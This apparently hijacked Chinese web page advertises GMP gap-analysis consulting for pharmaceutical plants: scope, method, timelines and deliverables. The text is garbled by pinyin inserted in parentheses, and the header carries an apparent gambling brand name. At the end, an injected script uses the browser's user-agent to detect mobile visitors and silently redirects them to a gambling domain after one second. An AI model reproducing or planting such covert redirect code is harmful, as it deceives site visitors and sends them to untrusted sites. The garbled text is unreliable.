酷游登路

GMP差距分析

酷游登路提(ti)供全方(fang)位的GMP符(fu)合性(xing)诊(zhen)断及提(ti)高(gao)服(fu)务!

如果您(nin)面临以下困境:

新建车间(jian)/厂房申(shen)请国内外官方的GMP现场(chang)检(jian)查(cha),但不(bu)(bu)确定是(shi)否(fou)存在缺(que)陷,现状是(shi)否(fou)满足要求,或清楚有(you)差距,但是(shi)不(bu)(bu)知(zhi)道差距在哪(na)里、有(you)多大、怎么整(zheng)改。已运行多年的车间(jian),准备(bei)迎接GMP飞行检(jian)查(cha),但您不(bu)(bu)了解是(shi)否(fou)有(you)新的要求、理念、方法以完善(shan)及优化体(ti)系。

酷游登路GMP差距分析服务可以为您一扫阴霾。酷游登路顾问为您诊断现有GMP体系的差距及问题,提供缺陷分析报告及清单,制定整改方案及优先顺序。此外,我们还提供整改支持,进度跟踪,确保项目高效地完成。

 

服务范围:

    酷游登路基于(yu)多年的(de)GMP项(xiang)目经验(yan),能精(jing)准地识(shi)别GMP体系中(zhong)存在(zai)的(de)缺陷和偏差,我们能为以下领域提供服务: 

    • 原料、药用辅料、原料药
    • 制剂(例如:固体剂型、无菌产品)
    • 化学和生物技术生产工艺
    • 生产、质量控制、仓储、物流和计算机
    • 综合质量保证体系
    • 确认和验证概念
    • 其他

    全面而准确地识别差距

    酷游登路顾问首(shou)先以问卷调(diao)查的(de)形式向客户(hu)收(shou)集基本信息,经过系统分析后(hou),再到工厂(chang)进行现(xian)场(chang)调(diao)查。结(jie)合文件与现(xian)场(chang)调(diao)查情况进行分析、讨论后(hou),我(wo)们能(neng)够全面(mian)地识(shi)别体系中存在(zai)的(de)差(cha)距(ju),并且诊断出关(guan)键性(xing)差(cha)距(ju),为后(hou)续的(de)整改计划(hua)指出正确(que)的(de)方向。

    专家指导整改方案的执行

    差距分析(xi)的最终报告将对总体分析(xi)结果(guo)进行(xing)概述,并(bing)用清单将观察和发现结果(guo)进行(xing)分类和优先级排序。此外(wai),酷游登路将提供包含具体实施措施的整改(gai)方案,并(bing)指导客(ke)户实施,减轻客(ke)户压(ya)力。

    最快两周出结果

    酷游登路能够在短时(shi)间内安排差(cha)距分析,根据服(fu)务范围和文(wen)件的(de)可用性,仅(jin)需2至4周即获得初步(bu)结果。在紧急情(qing)况下,酷游登路可派出多名国内外专家(jia)组成差(cha)距分析团队,以快速响应服(fu)务需求。

    您将获得:

    • 以外部专家的视角提供详细、深入、全面地分析
    • 整改工作关键性排序,合理分配资源
    • GMP专家提供后续支持,包括GMP检查陪同等
    var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();